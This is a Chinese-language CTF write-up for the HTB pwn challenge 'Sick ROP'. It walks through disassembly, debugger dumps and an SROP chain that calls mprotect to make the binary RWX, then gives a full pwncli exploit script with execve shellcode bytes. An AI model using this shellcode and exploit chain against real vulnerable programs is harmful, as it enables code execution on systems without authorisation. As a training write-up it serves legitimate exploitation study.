前言
该题目是 SROP 技巧的使用
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第3天,今天偷懒了,找了个简单的题查缺补漏了一波
题目情况
You might need some syscalls.
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
逆向分析
整个程序就这么大,全是系统调用:
.text:0000000000401000 ; __int64 __fastcall read(int, int, int, int, int, int, char *buf, size_t count)
.text:0000000000401000 read proc near ; CODE XREF: vuln+12↓p
.text:0000000000401000 ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf = qword ptr 8
.text:0000000000401000 count = qword ptr 10h
.text:0000000000401000
.text:0000000000401000 mov eax, 0
.text:0000000000401005 mov edi, 0 ; fd
.text:000000000040100A mov rsi, [rsp+buf] ; buf
.text:000000000040100F mov rdx, [rsp+count] ; count
.text:0000000000401014 syscall ; LINUX - sys_read
.text:0000000000401016 retn
.text:0000000000401016 read endp
.text:0000000000401016
.text:0000000000401017
.text:0000000000401017 ; =============== S U B R O U T I N E =======================================
.text:0000000000401017
.text:0000000000401017
.text:0000000000401017 ; __int64 __fastcall write(int, int, int, int, int, int, const char *buf, size_t count)
.text:0000000000401017 write proc near ; CODE XREF: vuln+1A↓p
.text:0000000000401017
.text:0000000000401017 buf = qword ptr 8
.text:0000000000401017 count = qword ptr 10h
.text:0000000000401017
.text:0000000000401017 mov eax, 1
.text:000000000040101C mov edi, 1 ; fd
.text:0000000000401021 mov rsi, [rsp+buf] ; buf
.text:0000000000401026 mov rdx, [rsp+count] ; count
.text:000000000040102B syscall ; LINUX - sys_write
.text:000000000040102D retn
.text:000000000040102D write endp
.text:000000000040102D
.text:000000000040102E
.text:000000000040102E ; =============== S U B R O U T I N E =======================================
.text:000000000040102E
.text:000000000040102E ; Attributes: bp-based frame
.text:000000000040102E
.text:000000000040102E ; __int64 __fastcall vuln(int, int, int, int, int, int)
.text:000000000040102E vuln proc near ; CODE XREF: _start↓p
.text:000000000040102E
.text:000000000040102E anonymous_0 = byte ptr -20h
.text:000000000040102E
.text:000000000040102E push rbp
.text:000000000040102F mov rbp, rsp
.text:0000000000401032 sub rsp, 20h
.text:0000000000401036 mov r10, rsp
.text:0000000000401039 push 300h ; count
.text:000000000040103E push r10 ; buf
.text:0000000000401040 call read
.text:0000000000401045 push rax ; count
.text:0000000000401046 push r10 ; buf
.text:0000000000401048 call write
.text:000000000040104D leave
.text:000000000040104E retn
.text:000000000040104E vuln endp
.text:000000000040104E
.text:000000000040104F
.text:000000000040104F ; =============== S U B R O U T I N E =======================================
.text:000000000040104F
.text:000000000040104F ; Attributes: noreturn
.text:000000000040104F
.text:000000000040104F ; void __fastcall __noreturn start(int, int, int, int, int, int)
.text:000000000040104F public _start
.text:000000000040104F _start proc near ; CODE XREF: _start+5↓j
.text:000000000040104F ; DATA XREF: LOAD:0000000000400018↑o
.text:000000000040104F call vuln
.text:0000000000401054 jmp short _start
.text:0000000000401054 _start endp
.text:0000000000401054
.text:0000000000401054 _text ends
.text:0000000000401054
.text:0000000000401054
.text:0000000000401054 end _start
经典栈溢出漏洞
利用分析
当前情况分析
- 没有pie,程序地址已知
- 没有canary + 栈溢出漏洞,可以覆盖返回地址
- 无 gadgets,难以 rop
- 存在syscall,疑似可以打 SROP
SROP 分析
打 SROP 的前提是能控制rax,以及能调用syscall
程序在vuln退出的时候的状态:
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
*RAX 0x131
RBX 0x0
*RCX 0x40102d (write+22) ◂— ret
*RDX 0x131
*RDI 0x1
RSI 0x7fffa07e5bb0 ◂— 0x6161616261616161 ('aaaabaaa')
R8 0x0
R9 0x0
R10 0x7fffa07e5bb0 ◂— 0x6161616261616161 ('aaaabaaa')
R11 0x202
R12 0x0
R13 0x0
R14 0x0
R15 0x0
*RBP 0x6161616a61616169 ('iaaajaaa')
*RSP 0x7fffa07e5bd8 —▸ 0x40102e (vuln) ◂— push rbp
*RIP 0x40104e (vuln+32) ◂— ret
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
► 0x40104e <vuln+32> ret <0x40102e; vuln>
↓
0x40102e <vuln> push rbp
0x40102f <vuln+1> mov rbp, rsp
0x401032 <vuln+4> sub rsp, 0x20
0x401036 <vuln+8> mov r10, rsp
0x401039 <vuln+11> push 0x300
0x40103e <vuln+16> push r10
0x401040 <vuln+18> call read <read>
0x401045 <vuln+23> push rax
0x401046 <vuln+24> push r10
0x401048 <vuln+26> call write <write>
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffa07e5bd8 —▸ 0x40102e (vuln) ◂— push rbp
01:0008│ 0x7fffa07e5be0 —▸ 0x40102b (write+20) ◂— syscall
02:0010│ 0x7fffa07e5be8 ◂— 0x0
03:0018│ 0x7fffa07e5bf0 ◂— 0x0
04:0020│ 0x7fffa07e5bf8 ◂— 0x0
05:0028│ 0x7fffa07e5c00 ◂— 0x0
06:0030│ 0x7fffa07e5c08 ◂— 0x0
07:0038│ 0x7fffa07e5c10 ◂— 0x0
此处的rax是我的输入字符串长度,rax可控,程序中存在syscall可以用,可以打 SROP
我本来想通过SROP直接调用execve的系统调用,但是发现,没有办法在程序中写入/bin/sh
的字符串,程序的内存布局是这样的:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /mnt/d/Misc/CTF/HTB/pwn/Sick ROP/sick_rop
0x401000 0x402000 r-xp 1000 1000 /mnt/d/Misc/CTF/HTB/pwn/Sick ROP/sick_rop
0x7fffa07c6000 0x7fffa07e8000 rw-p 22000 0 [stack]
0x7fffa07f4000 0x7fffa07f8000 r--p 4000 0 [vvar]
0x7fffa07f8000 0x7fffa07fa000 r-xp 2000 0 [vdso]
没有已知的可写地址存在,所以得换个系统调用来用,查阅资料得知当前状态可以使用mprocect来辅助,将整个程序改成rwx权限
那么执行srop的操作,还需要设置一个rsp,rsp影响执行完系统调用后返回的地方
我希望可以返回到程序中,再次调用vuln是最好的
在ida里看到一个地址,保存可以调用到vuln的指针:0000000000400018
LOAD:0000000000400000 7F 45 4C 46 dword_400000 dd 464C457Fh ; DATA XREF: LOAD:0000000000400050↓o
LOAD:0000000000400000 ; File format: \x7FELF
LOAD:0000000000400004 02 db 2 ; File class: 64-bit
LOAD:0000000000400005 01 db 1 ; Data encoding: little-endian
LOAD:0000000000400006 01 db 1 ; File version
LOAD:0000000000400007 00 db 0 ; OS/ABI: UNIX System V ABI
LOAD:0000000000400008 00 db 0 ; ABI Version
LOAD:0000000000400009 00 00 00 00 00 00 00 db 7 dup(0) ; Padding
LOAD:0000000000400010 02 00 dw 2 ; File type: Executable
LOAD:0000000000400012 3E 00 dw 3Eh ; Machine: x86-64
LOAD:0000000000400014 01 00 00 00 dd 1 ; File version
LOAD:0000000000400018 4F 10 40 00 00 00 00 00 dq offset _start ; Entry point
LOAD:0000000000400020 40 00 00 00 00 00 00 00 dq 40h ; PHT file offset
LOAD:0000000000400028 A0 11 00 00 00 00 00 00 dq 11A0h ; SHT file offset
LOAD:0000000000400030 00 00 00 00 dd 0 ; Processor-specific flags
LOAD:0000000000400034 40 00 dw 40h ; ELF header size
LOAD:0000000000400036 38 00 dw 38h ; PHT entry size
LOAD:0000000000400038 03 00 dw 3 ; Number of entries in PHT
但是在调用vuln的时候,会使用rsp-0x20的地址,这里会发生地址访问违例,一筹莫展之际,gdb看看ida里看不到的内存地址的情况:
pwndbg> x/100gxa 0x401000
0x401000 <read>: 0xbf00000000b8 0x480824748b480000
0x401010 <read+16>: 0xb8c3050f1024548b 0x1bf00000001
0x401020 <write+9>: 0x8b480824748b4800 0x4855c3050f102454
0x401030 <vuln+2>: 0x894920ec8348e589 0x52410000030068e2
0x401040 <vuln+18>: 0x524150ffffffbbe8 0xe8c3c9ffffffcae8
0x401050 <_start+1>: 0xf9ebffffffda 0x0
0x401060: 0x0 0x0
0x401070: 0x1000300000000 0x401000 <read>
0x401080: 0x0 0xfff1000400000001
0x401090: 0x0 0x0
0x4010a0: 0x1000000000009 0x401000 <read>
0x4010b0: 0x0 0x100000000000e
0x4010c0: 0x401017 <write> 0x0
0x4010d0: 0x1000000000014 0x40102e <vuln>
0x4010e0: 0x0 0x100100000001e
0x4010f0: 0x40104f <_start> 0x0
发现在0x4010d8处保存了vuln的地址,好,就用这里当新的rsp
程序通过SROP来执行mprotect,然后返回到vuln上,再次触发栈溢出,然后此时写入数据的地址是固定不变的了,只需要写个shellcode上去,然后跳转即可
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
frame = SigreturnFrame()
frame.rax = 0xA # mprotect
frame.rdi = 0x400000 # start
frame.rsi = 0x2000 # len
frame.rdx = 7 # rwx
frame.rip = 0x40102b # syscall instruction
frame.rsp = 0x4010d8 # ret to address
vuln = 0x40102E
payload = cyclic(0x28) + pack(vuln) + pack(0x40102b)+ bytes(frame)
sl(payload)
sl(cyclic(0xe))
sl(shellcode.ljust(0x28,b"\x90") + pack(0x4010b8))
ia()
总结
这个题目我知道要用SROP打,一直在考虑如何泄露出栈地址然后写入字符串,再打SROP调用execve,实际上想的太狭隘了,遇到SROP的场合,要考虑多种syscall的可能性,就像这次的mprotect
SROP的条件是栈溢出+rax可控+可以调用syscall